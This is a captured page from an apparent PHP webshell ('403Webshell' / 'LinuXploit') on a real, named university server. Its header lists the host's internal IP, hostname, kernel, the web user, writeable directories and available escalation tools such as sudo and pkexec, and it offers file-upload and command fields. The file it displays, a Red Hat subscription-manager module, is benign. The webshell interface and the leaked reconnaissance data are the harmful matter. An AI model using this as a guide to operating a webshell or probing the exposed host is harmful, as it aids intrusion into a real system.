403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/site-packages/rhsmlib/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/site-packages/rhsmlib/services/attach.py
from __future__ import print_function, division, absolute_import

# Copyright (c) 2017 Red Hat, Inc.
#
# This software is licensed to you under the GNU General Public License,
# version 2 (GPLv2). There is NO WARRANTY for this software, express or
# implied, including the implied warranties of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2
# along with this software; if not, see
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.
#
# Red Hat trademarks are not licensed under GPLv2. No permission is
# granted to use or replicate Red Hat trademarks that are incorporated
# in this software or its documentation.
import logging

from subscription_manager import injection as inj

log = logging.getLogger(__name__)


class AttachService(object):
    def __init__(self, cp):
        self.plugin_manager = inj.require(inj.PLUGIN_MANAGER)
        self.identity = inj.require(inj.IDENTITY)
        self.cp = cp

    def attach_auto(self, service_level=None):

        # FIXME: First check if current service_level is the same as provided in
        # argument and if not then try to set something new. Otherwise it is useless
        # and it only cause unnecessary REST API call
        if service_level is not None:
            self.cp.updateConsumer(self.identity.uuid, service_level=service_level)
            log.debug("Service level set to: %s" % service_level)

        self.plugin_manager.run(
            "pre_auto_attach",
            consumer_uuid=self.identity.uuid
        )

        resp = self.cp.bind(self.identity.uuid)

        self.plugin_manager.run(
            "post_auto_attach",
            consumer_uuid=self.identity.uuid,
            entitlement_data=resp
        )

        return resp

    def attach_pool(self, pool, quantity):

        # If quantity is None, server will assume 1. pre_subscribe will
        # report the same.
        self.plugin_manager.run(
            "pre_subscribe",
            consumer_uuid=self.identity.uuid,
            pool_id=pool,
            quantity=quantity
        )

        resp = self.cp.bindByEntitlementPool(self.identity.uuid, pool, quantity)

        self.plugin_manager.run(
            "post_subscribe",
            consumer_uuid=self.identity.uuid,
            entitlement_data=resp
        )

        return resp

Youez - 2016 - github.com/yon3zu
LinuXploit